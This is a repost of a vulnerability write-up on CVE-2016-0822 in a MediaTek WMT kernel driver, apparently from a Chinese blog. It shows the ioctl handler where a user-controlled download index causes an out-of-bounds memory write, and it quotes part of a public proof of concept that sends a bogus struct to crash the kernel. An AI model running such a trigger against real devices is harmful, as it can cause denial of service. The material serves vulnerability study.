• CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158


    • CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158
    //mediatek/kernel/drivers/combo/common/core/include/wmt_lib.h
    typedef struct {
            UINT32 dowloadSeq;
            UCHAR addRess[4];
            UCHAR patchName[256];
    }WMT_PATCH_INFO,*P_WMT_PATCH_INFO;
    
    VOID wmt_lib_set_patch_num(unsigned long num)
    {
            P_DEV_WMT pWmtDev = &gDevWmt;
            pWmtDev->patchNum = num;
    }
          
      ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);
      case WMT_IOCTL_SET_PATCH_INFO:{
          ...
          if (copy_from_user(&wMtPatchInfo, (void *)arg, sizeof(WMT_PATCH_INFO))) {
                                    WMT_ERR_FUNC("copy_from_user failed at %d
    ", __LINE__);
                                    iRet = -EFAULT;
                                    break;
                            }
          ...
          dWloadSeq = wMtPatchInfo.dowloadSeq; 
          //arbitrary memory overwrite. user can control dowloadSeq
          osal_memcpy(pPatchInfo + dWloadSeq - 1, &wMtPatchInfo,
                                        sizeof(WMT_PATCH_INFO));
    

    CVE-2016-0822 PoC :

    https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/blob/master/CVE-2016-0822-mtk.c

            /* set some absurd offset, in hopes of causing panic or GPF */
            overflow.dowloadSeq = 0x31337;
            /* set obvious bogus data into data fields.
             * If I had exploitation skills these would contain pointers to userland!
             */
            memset(&overflow.addRess, 'A', 4);
            memset(&overflow.patchName, 'A', 256);
    
            ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);
    
  • 相关阅读:
    Django-序列化器
    HTTP请求头响应头的信息
    HTTP协议
    IAAS,PAAS,SAAS
    MySQL-部分名词解释
    MySQL-事务和特性
    用Java仿QQ界面聊天小项目
    25篇Java入门技术博客,送给准备入坑的你
    Java自学推荐书籍
    Java中的并发讲解
  • 原文地址:https://www.cnblogs.com/bittorrent/p/5772688.html
Copyright © 2020-2023  润新知